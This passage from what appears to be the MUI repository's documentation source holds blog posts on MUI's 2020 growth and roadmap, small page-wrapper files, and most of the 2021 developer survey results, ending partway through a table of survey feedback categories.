ecosystem.\n\n  <img src=\"/static/blog/2020-q3-update/react-share.png\" alt=\"\" style=\"width: 588px; margin-bottom: 16px;\" />\n\n  <p class=\"blog-description\">% of download relative to react-dom</p>\n\n- ⭐️ From 59.0k to 61.6k stars, leave us yours [🌟](https://github.com/mui/material-ui).\n- 👨‍👩‍👧‍👦 From 1,825 to 1,934 contributors on GitHub. We add on average 1 new contributor every day.\n- 🏢 We have welcomed two new full-time developers to MUI.\n\n## Our roadmap intent for Q4 2020\n\nWe'll do our best, no guarantee!\n\n### Community\n\n- 🗓 Execute on all the items of the [public roadmap](https://github.com/orgs/mui/projects/23/views/12).\n- 👩‍🎨 Simplify the migration experience from v4 to v5.\n- ❓ Please upvote [GitHub issues](https://github.com/mui/material-ui/issues) if you want us to focus on a specific problem. The number of 👍 helps us to prioritize.\n\n### Enterprise\n\n- 👩‍🎨 Complete the collaboration we started with a design agency last quarter to update the branding of the company, redesign the homepage, and design the marketing pages for the enterprise package.\n- 🗓 Execute on all the items in the [public roadmap](https://github.com/orgs/mui/projects/35).\n- ❓ Please upvote [GitHub issues](https://github.com/mui/mui-x/issues) if you want us to focus on a specific problem. The number of 👍 helps us to prioritize.\n\n### Company\n\nThese are objectives, no guarantees:\n\n- 🏢 We might hire a full-time designer that has coding skills. One of the objectives would be to solve [#22485](https://github.com/mui/material-ui/issues/22485).\n- 🏝 We have put the company-wide team retreat on hold because of the continued risk presented by COVID-19.\n  Hopefully, we will be able to hold it in Q2 2021.\n"
  },
  {
    "path": "docs/pages/blog/2020.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './2020.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/2020.md",
    "content": "---\ntitle: 2020 in review and beyond\ndescription: 2020 has been another great year, not only for MUI, but also for the ecosystem.\ndate: 2020-12-31T00:00:00.000Z\nauthors: ['oliviertassinari', 'mbrookes']\ntags: ['Company']\nmanualCard: true\n---\n\n2020 has been another great year, not only for MUI, but also for the ecosystem.\nWe have taken on ambitious challenges and started to scale the project.\n\n## Growth\n\nIt's only with your trust that we could achieve the following outcomes in 2020. Thank you!\n\n- 📦 From 3.2M to [6.4M](https://npm-stat.com/charts.html?package=%40material-ui%2Fcore&from=2019-11-30&to=2020-12-31) downloads per month (from 14% to [18%](https://docs.google.com/spreadsheets/d/1l5j3Xjtvm9XZtmb4ulLiWElQaXSlZlyCWT5ONrQMpBo/edit?usp=sharing) share of the React ecosystem).\n- 📈 From 3.1M to 4.6M unique visitors per year on the documentation.\n- ⭐️ From 53.3k to 63.8k stars, leave us [yours 🌟](https://github.com/mui/material-ui).\n- 👨‍👩‍👧‍👦 From 1,581 to [2,052](https://github.com/mui/material-ui/graphs/contributors) contributors.\n- 💰 Grew financial support by 2.1X in 2020, compared to 2019.\n- 🏢 From 3 to 6 full-time equivalent developers, spread among multiple financially supported [core team members](/about/).\n\nThe numbers speak for themselves. We have reproduced the [traction we got in 2019](/blog/2019/#growth).\n\n## In review\n\nWhen we started 2020, we were celebrating the launch of many new components.\nWe were busy building features to match feature parity with Ant Design, and more importantly, acting on the top feedback we got doing the [first user survey](/blog/2019-developer-survey-results/).\n\nWe have spent the year continuing in the same direction, polishing past components and introducing new ones. We ran a [second user survey](/blog/2020-developer-survey-results/), 15 months after the first one. It was a great opportunity to evaluate the effectiveness of our past efforts. For instance, we were very pleased to see that the slider component was almost a solved problem, and that the TypeScript definitions significantly improved. We also noticed the emergence of trends:\n\n- The more new components we add, the more developers want new ones. For instance, we rarely heard about the need for providing charts in 2019, it's now one of the top requested. In our last survey, we had 10% more requests for new components, even though, we brought new ones. We were surprised, it was counter-intuitive to us.\n- The pain around the customization of the components is growing. We also frequently hear that there is a steep learning curve for using `@mui/styles`. We are reaching a larger audience used to raw CSS without extensive knowledge of specificity.\n- The demand for Material Design is stable, no longer growing. At the same time, the request for new ready-to-use themes is up. Our strategy around providing building blocks to build custom designed UI starts to gain traction.\n\nWe have started to leverage these trends as opportunities in the next version of the library: v5.\n\n## Achievements\n\nWe have achieved most of what we could have hoped for.\n\n- The most important, we have welcome 3 members in the company: [Damien](/blog/spotlight-damien-tassone/), [Marija](/blog/marija-najdova-joining/), and [Danail](/blog/danail-hadjiatanasov-joining/).\n- We have made significant progress with [v5](https://mui.com/). We have made half the breaking changes planned. We have migrated our [first component](https://v4.mui.com/components/slider/) to the new style architecture (emotion by default, adapter for styled-components, and unstyled).\n- We have introduced new components (some in the core, some in the lab):\n  - [Alert](https://v4.mui.com/components/alert/)\n  - [DataGrid](https://v4.mui.com/components/data-grid/)\n  - [DatePicker](https://v4.mui.com/components/pickers/)\n  - [LoadingButton](https://mui.com/material-ui/react-button/#loading-button)\n  - [Timeline](https://v4.mui.com/components/timeline/)\n  - [FocusTrap](https://v6.mui.com/base-ui/react-focus-trap/)\n- We have fixed most of the issues with the [Autocomplete](https://v4.mui.com/components/autocomplete/). We have received an overwhelming interest in the component. It was impressive to see.\n- We have completed the work for [strict mode](https://react.dev/reference/react/StrictMode) support.\n- We have increased the adoption of TypeScript in the codebase. We don't plan a dedicated migration but to write new code in TypeScript, as we go.\n- We have migrated most of the tests from Enzyme to [Testing Library](https://testing-library.com/).\n- We have modernized MUI System, introducing an [`sx` prop](https://mui.com/system/getting-started/the-sx-prop/) to be used in all the core components.\n- We have added support for [Figma](/store/items/figma-react/) and [Adobe XD](/store/items/adobe-xd-react/).\n- We have released the first Enterprise component in an alpha version: [MUI X Data Grid Pro](https://v4.mui.com/components/data-grid/#commercial-version).\n\n## Looking at 2021\n\n2020 was great, 2021 is going to be even more exciting!\nWe will continue in the same direction, it's still **[day one](https://www.sec.gov/Archives/edgar/data/1018724/000119312517120198/d373368dex991.htm)**. Here is a breakdown of our [roadmap](https://v4.mui.com/discover-more/roadmap/).\n\n### Branding\n\nUp until now, we never had a mindful reflection on what the branding of Material UI should be.\nWe picked a color from the 2014 Material Design palette, and that's it.\nThe [mui.com](https://mui.com/) marketing website will soon wear a brand new style! We need to create our own identity, distinct from Material Design.\n\n### MUI X\n\nWe started to deliver advanced React components in 2020 with the data grid, including a [commercial version](https://v4.mui.com/components/data-grid/) and the beginning of a [date range picker](https://mui.com/x/react-date-pickers/).\nWe will double down on these existing components as long as necessary to have them find the market.\n\nBy the end of 2021, we aim to have released these components as stable, implement all the [features planned](https://v4.mui.com/components/data-grid/getting-started/#feature-comparison), and at least double the size of the team.\n\n### Material UI v5\n\nWe will release the next major iteration of the library. A highlight of the key improvements coming ✨:\n\n- Polish and promote most of the components that were in the lab in v4 to the core.\n- A new style engine. Migrate from JSS to Emotion (default) and styled-components's `styled` API.\n- Improve customizability. Add new powers to the theme with dynamic color & [variant](https://mui.com/material-ui/customization/typography/#adding-disabling-variants) support. Add a new [`sx` prop](https://mui.com/system/getting-started/the-sx-prop/) for quick customizations to all the components. Expose global class names. Deprecate the `makeStyles` and `withStyles` API.\n- Breaking changes on the API to make it more intuitive.\n- Add full support for React strict mode. We recommend to enable it.\n- Improve the performance of MUI System by a x3-x5 [factor](https://github.com/mui/material-ui/issues/21657#issuecomment-707140999).\n- Reduce bundle size: split IE 11 into a different bundle [-6kB](https://github.com/mui/material-ui/pull/22814#issuecomment-700995216), migrate to Emotion [-5kB](https://github.com/mui/material-ui/pull/23308#issuecomment-718748835), Popper.js v2 upgrade [-700B](https://github.com/mui/material-ui/pull/21761#issuecomment-657135498).\n- Improve the documentation website: search shortcut, page rating, fast material icons copy button, etc.\n\nAnd [much more](https://github.com/mui/material-ui/issues/20012).\n\n### A second theme\n\nWhile Material Design is a predominant design choice for building rich client-side applications, it's not the only popular design trend. We plan to provide a [second theme](https://github.com/mui/material-ui/issues/22485) to expand the range of use cases for MUI, striking a balance between:\n\n- alignment with the best-looking design trends of hot startups in the US.\n- optimization of its usage for rich client-side applications while keeping it good enough for landing pages.\n- simplicity of the design for allowing simpler customizations.\n- complementarity with Material Design.\n\nIt will be built on top of the unstyled components.\n\n### Unstyled\n\nWhile the completion of the unstyled components was originally part of the v5 milestone,\nwe will likely finish this effort independently.\nOutside of the requirement to introduce breaking changes on the component customization API, for example from `PaperProps` to `slotProps`, [RFC #20012](https://github.com/mui/material-ui/issues/21453), we can work on unstyled at the same time we make progress with the second theme. The two efforts should go hand in hand.\n\n### Scale\n\nIf we sustain the current growth rate, we should be able to double the size of the team, from 6 to over 10 members in the company without raising. While we will focus on strengthening all the efforts that we have started, it should start to give us room to take on significantly more ambitious problems guided by the following foundations:\n\n- React dominance in the UI development landscape will increase and stay for a very long time.\n- Developers are looking to build faster and more appealing UIs.\n- Low-code will progressively become mainstream for professional developers and knowledge workers.\n\nIf like us, you are excited about bringing joy to developers and enabling more people to build apps, check our positions, [we are hiring](/careers/)!\n\nSee you in 2021 🚀\n"
  },
  {
    "path": "docs/pages/blog/2021-developer-survey-results.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './2021-developer-survey-results.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/2021-developer-survey-results.md",
    "content": "---\ntitle: \"The 2021 MUI Developer Survey: here's what we discovered\"\ndescription: Your feedback helps us to build better products. Here's what we learned about your needs in our annual survey.\ndate: 2022-03-15T00:00:00.000Z\nauthors: ['danilo-leal', 'samuelsycamore', 'oliviertassinari']\ntags: ['Developer Survey']\nmanualCard: true\n---\n\nKeeping up with tradition, a few months ago we opened the 2021 MUI Developer Survey.\nYour feedback helps us to build better products, and we can't thank you enough for being a part of our community.\n1,591 of you responded to this year's survey, and we take your input very seriously.\nHere's what we've learned about your needs after poring over the results.\n\nAs with the previous iterations, the survey was divided into three sections: [\"Your needs\"](#your-needs), [\"Your product\"](#your-product), and [\"About you\"](#about-you).\n\n## Your needs\n\n### How would you feel if you could no longer use MUI?\n\nOver 93% of you would be disappointed if you could no longer use MUI (a sum of \"Very disappointed\" and \"Somewhat disappointed\"). That's in keeping with 94% of you who felt the same way when we asked this question in 2019 and 2020.\n\n<img src=\"/static/blog/2021-developer-survey-results/1.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"Bar chart: 62.7% Very disappointed, 30.4% Somewhat disappointed, 6.9% Not disappointed.\" />\n\n<p class=\"blog-description\">1567 out of 1589 answered.</p>\n\nNotably, 2021 saw a 10% loss in the \"Very disappointed\" category, and a comparable gain in those who would only be \"Somewhat disappointed.\" This suggests that some of you may be less enthusiastic about MUI's products when compared with previous years, and that's something we need to evaluate moving forward.\n\nThose who would be \"Not disappointed\"—a group that grew by 1%—were asked to explain why. Here's what they said:\n\n**The number of available alternatives**\n\nLately, with each new day a new UI component library appears.\nBecause they aim to solve the same problems, these libraries often arrive at solutions that are very similar to one another.\nThe establishment of common industry-wide patterns makes it that much more difficult to stand out from the crowd.\nMeanwhile, we're working hard to expand beyond our core products to provide you with experiences that other libraries can't match.\n\n**The introduction of a paid product**\n\nA big challenge with open-source is that maintainers capture very little value.\nThe MIT licensed model has enabled the growth of a large community of contributors as well as the MUI team itself, but it does have its limitations.\nTo push the products as forward as we believe it's possible, we needed a way to invest more in them.\n[Open-core](https://en.wikipedia.org/wiki/Open-core_model) allows us to still offer an MIT licensed (free) version of the MUI X components while charging for additional features that require more attention (including support).\n\nIt's still early days for MUI X, though.\nWe introduced it at the end of 2020 and have been iterating not only on the components but on the model itself.\n\nWe still have a lot more ground to cover — only ~0.1% of our developer community has been convinced to upgrade to the paid Pro plan so far.\nWhether or not you've taken the plunge, we'd love to hear your thoughts about this.\nAnd if you want to understand more about our view of the open-source/commercial balance, check our [Stewardship page](https://mui-org.notion.site/Stewardship-542a2226043d4f4a96dfb429d16cf5bd).\n\n**The breaking changes made in v5**\n\nOur most recent release, MUI Core v5, introduced some important breaking changes.\nThe main problem we wanted to tackle was customizability: unlocking more styling options without compromising on performance.\n\nThis new styling solution still has a ways to go in terms of maturity, and there's no denying that it requires a considerable amount of work to migrate from v4.\nFor our part, we still have a lot of work to do to help you make the most of the new features in v5, and we welcome your feedback.\n\nWhat can we do to help you succeed? If you have any ideas or suggestions, you're always welcome to share your thoughts by opening an issue on GitHub.\n\n### How likely is it that you would recommend MUI to a friend or colleague?\n\nThis year we observed a decrease in Net Promoter Score (NPS): from 62 in 2020 to 46 in 2021.\n56.4% of you were Promoters this year, down almost 6 percentage points from last year (62.2%).\nWe're still in a good place — an NPS score between 30 and 70 is considered great.\nBut we have much more to do to achieve an excellent score.\n\n<img src=\"/static/blog/2021-developer-survey-results/2.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"Detractors: 10.88%, Neutrals: 32.69%, Promoters: 56.43%, Overall NPS: 46.\nScale: -100 to 0 needs improvements, 0 to 30 is good, 30 to 70 is great, and 70 to 100 is excellent.\" />\n\n<p class=\"blog-description\">1563 out of 1589 answered.</p>\n\n### What is the main benefit you get from using MUI?\n\n<img src=\"/static/blog/2021-developer-survey-results/3.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"This question results in 2019 - Design: 248; Time: 193; DX: 128; Components: 89; Customizability: 53; Documentation: 25; Accessibility: 5; TypeScript: 5; Community support: 4; This question results in 2021 - Time: 597; Design: 407; Components: 309; DX: 306; Customizability: 181; Documentation: 57; Community support: 26; Accessibility: 24; Performance: 17\" />\n\n<p class=\"blog-description\">1422 out of 1589 answered this question in 2021.</p>\n\nHere's what you liked the most about the product in 2021, compared to 2019:\n\n- **Community (2.9x):** While the community itself doubled in size, appreciation for the community grew by 190% over that same time frame.\n  It looks like we're witnessing a network effect: with twice as many users, developers got three times more value from the community.\n- **Accessibility (2.2x):** The community has definitely noticed the work we have put in to make our components more accessible.\n  Special thanks to Sebastian Silbermann [(@eps1lon)](https://github.com/eps1lon) for his continued help!\n- **Customizability (1.6x):** Developers seem to be appreciating the new capabilities introduced in v5.\n  That said, we recognize that there is still more work to be done here, given the number of requests we've received to better solve this problem.\n- **Components (1.6x):** We'll keep adding new components to the library as long as you continue to appreciate them this much!\n  - Component quality (no change): You know that we set the bar very high for the quality of our components.\n    This can be challenging as we continue to grow, because we expect nothing but the best from our team.\n    Thankfully, this result shows that our team of maintainers has done an excellent job, aiming for high standards.\n- **Time (1.4x):** Mostly referring to saved time during UI development. This is an interesting one because it's not an issue that we specifically addressed.\n  Could this just be a result of the growing pressure in the market to build faster? Or because we somehow made this value proposition more noticeable? It could also be related to the next item.\n- **Developer experience (1.1x):**\n  - Consistency (1.75x): We didn't work on this dimension, and yet it grew.\n    It's reasonable to assume that because we have more components than ever before, developers have started to notice how much more consistent their work is when they use MUI.\n  - Ease of use (no change): Could it be because ease of use is mostly defined by the React API (hooks), or is it because we haven't made any major API changes to optimize for ease of use? There could be a lot of work here for our new Developer Experience team.\n\nAnd what has decreased:\n\n- **Design (x0.75):** Material Design hasn't evolved with changing tastes, and our work on a second design system to address this hasn't progressed as quickly we anticipated.\n  - Material Design (x0.4): Its selling power is clearly fading.\n  - Look & feel (x1.17): This is surprising.\n    It seems to be a transfer effect: people who previously cared more about Material Design now care more about the outcome than the specification itself.\n    <br/>\n\n<!-- vale MUI.CorrectReferenceAllCases = NO -->\n\n<details>\n  <summary>Click to see the breakdown of categories.</summary>\n\n<table>\n  <tr><th style=\"width: 40px;\">597</th><th style=\"width: 700px;\">time</th></tr>\n  <tr><th>407</th><th>design</th></tr>\n  <tr><td>148</td><td>design - look & feel</td></tr>\n  <tr><td>122</td><td>design - look & feel+</td></tr>\n  <tr><td>73</td><td>design - consistency</td></tr>\n  <tr><td>73</td><td>design - Material Design</td></tr>\n  <tr><td>6</td><td>design - ?</td></tr>\n  <tr><td>4</td><td>design - easy</td></tr>\n  <tr><td>2</td><td>design - responsiveness</td></tr>\n  <tr><td>1</td><td>design - time</td></tr>\n  <tr><th>309</th><th>components</th></tr>\n  <tr><td>173</td><td>components - quantity</td></tr>\n  <tr><td>124</td><td>components - quality</td></tr>\n  <tr><td>5</td><td>components - advanced</td></tr>\n  <tr><td>3</td><td>components - data grid</td></tr>\n  <tr><td>2</td><td>components - ?</td></tr>\n  <tr><td>1</td><td>components - autocomplete</td></tr>\n  <tr><td>1</td><td>components - base/unstyled</td></tr>\n  <tr><th>306</th><th>DX</th></tr>\n  <tr><td>221</td><td>DX - easy to use</td></tr>\n  <tr><td>49</td><td>DX - consistency</td></tr>\n  <tr><td>32</td><td>DX - API</td></tr>\n  <tr><td>4</td><td>DX - ?</td></tr>\n  <tr><th>181</th><th>customizability</th></tr>\n  <tr><th>57</th><th>docs</th></tr>\n  <tr><td>39</td><td>docs - ?</td></tr>\n  <tr><td>17</td><td>docs - quality</td></tr>\n  <tr><td>1</td><td>docs - quantity</td></tr>\n  <tr><th>26</th><th>community</th></tr>\n  <tr><th>24</th><th>accessibility</th></tr>\n  <tr><th>17</th><th>performance</th></tr>\n  <tr><td>15</td><td>performance - runtime</td></tr>\n  <tr><td>1</td><td>performance - bundle size</td></tr>\n  <tr><td>1</td><td>performance - ?</td></tr>\n  <tr><th>9</th><th>community support</th></tr>\n  <tr><th>5</th><th>icons</th></tr>\n  <tr><th>3</th><th>typescript</th></tr>\n  <tr><th>2</th><th>animations</th></tr>\n</table>\n</details>\n\n### Please rate how much you agree or disagree with the following statements\n\n<img src=\"/static/blog/2021-developer-survey-results/4.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"I can find most of the components I need (Strongly agree: 45.5%, Agree: 45.9%, Neutral: 6.2%, Disagree: 1.5%, Strongly Disagree 0.8%); I can easily customize the components to match the desired design (Strongly agree: 23.4%, Agree: 46.1%, Neutral: 18.6%, Disagree: 9%, Strongly Disagree 2.9%); I can find the answers to most of my questions in the documentation (Strongly agree: 24.1%, Agree: 50.1%, Neutral: 16.3%, Disagree: 7.6%, Strongly Disagree 1.9%); I find the library's performance to be great (Strongly agree: 26.4%, Agree: 44.3%, Neutral: 22.6%, Disagree: 4.7%, Strongly Disagree 2%); Whenever I needed to get help, I received helpful responses, Stack Overflow or GitHub (Strongly agree: 20.9%, Agree: 36.7%, Neutral: 36%, Disagree: 4.6%, Strongly Disagree 1.8%)\" />\n\n<p class=\"blog-description\">1534 out of 1589 answered.</p>\n\nIt's a good thing to have a general sense of agreement with most of the statements, however, there's a considerably big gap between \"Strongly agree\" and \"Agree\" for all but the first statement. This highlights the need to continue pushing for even more quality in each of these dimensions (customizability, performance, and community support).\n\n### What are your most important criteria for choosing a UI library?\n\n<img src=\"/static/blog/2021-developer-survey-results/5.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"Ranked list: 1. The design - look and feel; 2. Customizability; 3. Documentation quality; 4. Comprehensiveness; 5. Performance; 6. Popularity; 7. Accessibility; 8. Offered support and help; 9. Bundle size\" />\n\n<p class=\"blog-description\">1500 out of 1589 answered - Check <a href=\"https://help.typeform.com/hc/en-us/articles/360052767651-Ranking-question\">Typeform's documentation</a> to understand ranking average calculations.</p>\n\nThis year we experimented with using Typeform to run the survey, which allows respondents to rank their choices.\nThis might have given us a richer perspective than we've been able to capture in the past, but in the end the results weren't too different from last year.\n\nDesign (look and feel) remains the most important criterion for choosing a UI library, and customization and documentation quality are still there in the top 3.\nThe notable difference this year seems to be performance climbing its way up, as it has been ranked as the fifth most important aspect.\n\n### What else can we do to improve MUI for you?\n\n<img src=\"/static/blog/2021-developer-survey-results/6.png\" width=\"2400\" height=\"1256\" loading=\"lazy\" alt=\"Word cloud of what we can do to improve MUI\" />\n\n<p class=\"blog-description\">1007 out of 1589 answered this question in 2021.</p>\n\nHere are the most recurring topics for improvement this year:\n\n- **More components:** We continue to see requests for more advanced components such as charts, forms, and calendars, to name a few.\n- **More examples:** Many of the existing learning resources are now outdated following the v5 upgrade, so we have a lot of work to do to show you how to make the most of our products.\n- **Provide more themes:** Even with the launch of Material v3, Material Design is seen as outdated by many.\n  That's why we're working on a second design system that will offer the same high standard of quality as Material Design, but with an alternative design direction.\n- **Fewer breaking changes:** MUI Core v5 introduced some important breaking changes, especially because of the new styling solution.\n  Rest assured that we don't expect to release any major updates this year—in fact, we aim to keep majors at least 12 months apart from each other.\n- **Improve customization:** Common requests include making customization easier, providing more examples of common use-cases (like font-family and primary/secondary colors), and improving the theme capabilities.\n  Even with the popularity of Emotion and styled-components, there continues to be an enormous need to facilitate customization.\n\nIf you are interested in an analysis of the growing and decreasing pain, you can [head to the appendix](https://mui-org.notion.site/Raw-data-aa374141dcb3453dbfea301dcc437126#30728bf1bc8d4f70a1739fa20f11459a).\n\n<details>\n  <summary>Click to see the breakdown of categories.</summary>\n  <table>\n    <tr><th style=\"width: 40px;\">329</th><th style=\"width: 700px;\">docs</th></tr>\n    <tr><th>72</th><th>docs - ?</th></tr>\n    <tr><td>62</td><td>docs - more examples</td></tr>\n    <tr><td>29</td><td>docs - more templates</td></tr>\n    <tr><td>28</td><td>docs - beginner friendly</td></tr>\n    <tr><td>28</td><td>docs - tutorials</td></tr>\n    <tr><td>19</td><td>docs - API</td></tr>\n    <tr><td>19</td><td>docs - custom design system</td></tr>\n    <tr><td>16</td><td>docs - more comprehensive</td></tr>\n    <tr><td>15</td><td>docs - content quality</td></tr>\n    <tr><td>9</td><td>docs - organization</td></tr>\n    <tr><td>8</td><td>docs - smaller demos</td></tr>\n    <tr><td>6</td><td>docs - content translation</td></tr>\n    <tr><td>5</td><td>docs - search</td></tr>\n    <tr><td>4</td><td>docs - slow to navigate</td></tr>\n    <tr><td>3</td><td>docs - link to source</td></tr>\n    <tr><td>3</td><td>docs - starter example</td></tr>\n    <tr><td>3</td><td>docs - integration with third-parties</td></tr>\n    <tr><td>1</td><td>docs - visual component discovery</td></tr>\n    <tr><th>300</th><th>more components</th></tr>\n    <tr><td>145</td><td>more components - ?</td></tr>\n    <tr><td>26</td><td>more components - form</td></tr>\n    <tr><td>21</td><td>more components - charts</td></tr>\n    <tr><td>17</td><td>more components - carousel</td></tr>\n    <tr><td>12</td><td>more components - lab to core</td></tr>\n    <tr><td>9</td><td>more components - enterprise apps</td></tr>\n    <tr><td>8</td><td>more components - upload</td></tr>\n    <tr><td>7</td><td>more components - big calendar</td></tr>\n    <tr><td>7</td><td>more components - drag and drop</td></tr>\n    <tr><td>6</td><td>more components - MUI X Pro</td></tr>\n    <tr><td>5</td><td>more components - navbar</td></tr>\n    <tr><td>5</td><td>more components - image</td></tr>\n    <tr><td>4</td><td>more components - inputs</td></tr>\n    <tr><td>4</td><td>more components - rich text editor</td></tr>\n    <tr><td>3</td><td>more components - MUI X</td></tr>\n    <tr><td>2</td><td>more components - layout</td></tr>\n    <tr><td>2</td><td>more components - number input</td></tr>\n    <tr><td>2</td><td>more components - speed to release it</td></tr>\n    <tr><td>2</td><td>more components - virtualization</td></tr>\n    <tr><td>1</td><td>more components - color picker</td></tr>\n    <tr><td>1</td><td>more components - data display</td></tr>\n    <tr><td>1</td><td>more components - link</td></tr>\n    <tr><td>1</td><td>more components - loading button</td></tr>\n    <tr><td>1</td><td>more components - maps</td></tr>\n    <tr><td>1</td><td>more components - mobile</td></tr>\n    <tr><td>1</td><td>more components - nested menu</td></tr>\n    <tr><td>1</td><td>more components - OTP</td></tr>\n    <tr><td>1</td><td>more components - photo viewer</td></tr>\n    <tr><td>1</td><td>more components - scrollspy</td></tr>\n    <tr><td>1</td><td>more components - slider</td></tr>\n    <tr><td>1</td><td>more components - time picker</td></tr>\n    <tr><td>1</td><td>more components - tree select</td></tr>\n    <tr><th>265</th><th>customization</th></tr>\n    <tr><td>71</td><td>customization - ?</td></tr>\n    <tr><td>69</td><td>customization - easier</td></tr>\n    <tr><td>44</td><td>customization - docs</td></tr>\n    <tr><td>27</td><td>customization - improve custom themes</td></tr>\n    <tr><td>26</td><td>customization - color</td></tr>\n    <tr><td>25</td><td>customization - theming</td></tr>\n    <tr><td>3</td><td>customization - theme gallery (coming from the community)</td></tr>\n    <tr><th>212</th><th>system</th></tr>\n    <tr><td>37</td><td>system - ?</td></tr>\n    <tr><td>36</td><td>system - makeStyles back</td></tr>\n    <tr><td>20</td><td>system - docs</td></tr>\n    <tr><td>15</td><td>system - SASS</td></tr>\n    <tr><td>11</td><td>system - interoperability with Tailwind CSS</td></tr>\n    <tr><td>14</td><td>system - simplify</td></tr>\n    <tr><td>8</td><td>system - CSS variables</td></tr>\n    <tr><td>7</td><td>system - interoperability</td></tr>\n    <tr><td>7</td><td>system - no CSS-in-JS runtime</td></tr>\n    <tr><td>6</td><td>system - CSS modules</td></tr>\n    <tr><td>6</td><td>system - dark mode</td></tr>\n    <tr><td>6</td><td>system - utility class names</td></tr>\n    <tr><td>5</td><td>system - verbosity</td></tr>\n    <tr><td>5</td><td>system - performance</td></tr>\n    <tr><td>4</td><td>system - CSS API</td></tr>\n    <tr><td>4</td><td>system - styled-components</td></tr>\n    <tr><td>3</td><td>system - generated classes</td></tr>\n    <tr><td>3</td><td>system - variant</td></tr>\n    <tr><td>3</td><td>system - CSS that can be shared outside of React</td></tr>\n    <tr><td>3</td><td>system - state customization</td></tr>\n    <tr><td>3</td><td>system - theme</td></tr>\n    <tr><td>1</td><td>system - inline styling</td></tr>\n    <tr><td>1</td><td>system - decide on styling solution</td></tr>\n    <tr><td>1</td><td>system - duplicate CSS properties</td></tr>\n    <tr><td>1</td><td>system - transient props</td></tr>\n    <tr><td>1</td><td>system - typescript intellisense</td></tr>\n    <tr><td>1</td><td>system - use more sx oversyled</td></tr>\n    <tr><th>172</th><th>design</th></tr>\n    <tr><td>51</td><td>design - provide more themes (not just Material Design)</td></tr>\n    <tr><td>28</td><td>design - make the default theme look & feel better</td></tr>\n    <tr><td>27</td><td>design - push @mui/base more</td></tr>\n    <tr><td>24</td><td>design - Material Design v3</td></tr>\n    <tr><td>13</td><td>design - drop Material Design</td></tr>\n    <tr><td>10</td><td>design - ?</td></tr>\n    <tr><td>7</td><td>design - denser UI for enterprise apps</td></tr>\n    <tr><td>6</td><td>design - block templates</td></tr>\n    <tr><td>3</td><td>design - responsiveness</td></tr>\n    <tr><td>2</td><td>design - mobile</td></tr>\n    <tr><td>1</td><td>design - color gradients</td></tr>\n    <tr><th>109</th><th>performance</th></tr>\n    <tr><td>46</td><td>performance - bundle size</td></tr>\n    <tr><td>36</td><td>performance - ?</td></tr>\n    <tr><td>16</td><td>performance - runtime</td></tr>\n    <tr><td>4</td><td>performance - fewer DOM node/React components</td></tr>\n    <tr><td>2</td><td>performance</td></tr>\n    <tr><td>2</td><td>performance - docs</td></tr>\n    <tr><td>1</td><td>performance - animations</td></tr>\n    <tr><td>1</td><td>performance - in dev mode</td></tr>\n    <tr><td>1</td><td>performance - unecesseary prefixes</td></tr>\n    <tr><th>97</th><th>DX</th></tr>\n    <tr><td>27</td><td>DX - simpler</td></tr>\n    <tr><td>20</td><td>DX - API</td></tr>\n    <tr><td>17</td><td>DX - higher-level component API</td></tr>\n    <tr><td>6</td><td>DX - lower-level component API</td></tr>\n    <tr><td>5</td><td>DX - import</td></tr>\n    <tr><td>5</td><td>DX - lightweight</td></tr>\n    <tr><td>3</td><td>DX - debugging</td></tr>\n    <tr><td>2</td><td>DX - boilerplate</td></tr>\n    <tr><td>2</td><td>DX - fewer packages</td></tr>\n    <tr><td>2</td><td>DX - expose hooks</td></tr>\n    <tr><td>1</td><td>DX - class names</td></tr>\n    <tr><td>1</td><td>DX - ?</td></tr>\n    <tr><td>1</td><td>DX - composability</td></tr>\n    <tr><td>1</td><td>DX - faster releases</td></tr>\n    <tr><td>1</td><td>DX - fewer releases</td></tr>\n    <tr><td>1</td><td>DX - helper functions</td></tr>\n    <tr><td>1</td><td>DX - versioning</td></tr>\n    <tr><td>1</td><td>DX - vscode plugin</td></tr>\n    <tr><th>75</th><th>data grid</th></tr>\n    <tr><td>62</td><td>data grid - ?</td></tr>\n    <tr><td>3</td><td>data grid - docs</td></tr>\n    <tr><td>2</td><td>data grid - excel</td></tr>\n    <tr><td>1</td><td>data grid - bundle size</td></tr>\n    <tr><td>1</td><td>data grid - column pinning</td></tr>\n    <tr><td>1</td><td>data grid - filtering</td></tr>\n    <tr><td>1</td><td>data grid - full screen</td></tr>\n    <tr><td>1</td><td>data grid - grouping</td></tr>\n    <tr><td>1</td><td>data grid - large dataset</td></tr>\n    <tr><td>1</td><td>data grid - master panel</td></tr>\n    <tr><td>1</td><td>data grid - nesting - export options</td></tr>\n    <tr><th>61</th><th>free vs. paid</th></tr>\n    <tr><td>18</td><td>free vs. paid - all MIT</td></tr>\n    <tr><td>8</td><td>free vs. paid - cheaper Pro plan</td></tr>\n    <tr><td>8</td><td>free vs. paid - no existing features going paid</td></tr>\n    <tr><td>7</td><td>free vs. paid - more MIT</td></tr>\n    <tr><td>6</td><td>free vs. paid - data grid more MIT</td></tr>\n    <tr><td>5</td><td>free vs. paid - no Pro plan (premium can stay)</td></tr>\n    <tr><td>4</td><td>free vs. paid - date picker more MIT</td></tr>\n    <tr><td>2</td><td>free vs. paid - remove docs ads</td></tr>\n    <tr><td>1</td><td>free vs. paid - cheaper Premium plan</td></tr>\n    <tr><td>1</td><td>free vs. paid - design kit more MIT</td></tr>\n    <tr><td>1</td><td>free vs. paid - use donations</td></tr>\n    <tr><th>61</th><th>fewer breaking changes</th></tr>\n    <tr><th>47</th><th>typescript</th></tr>\n    <tr><td>28</td><td>typescript - ?</td></tr>\n    <tr><td>11</td><td>typescript - faster check</td></tr>\n    <tr><td>5</td><td>typescript - docs</td></tr>\n    <tr><td>2</td><td>typescript - more support</td></tr>\n    <tr><td>1</td><td>typescript - converter</td></tr>\n    <tr><td>1</td><td>typescript - intellisense</td></tr>\n    <tr><th>41</th><th>date 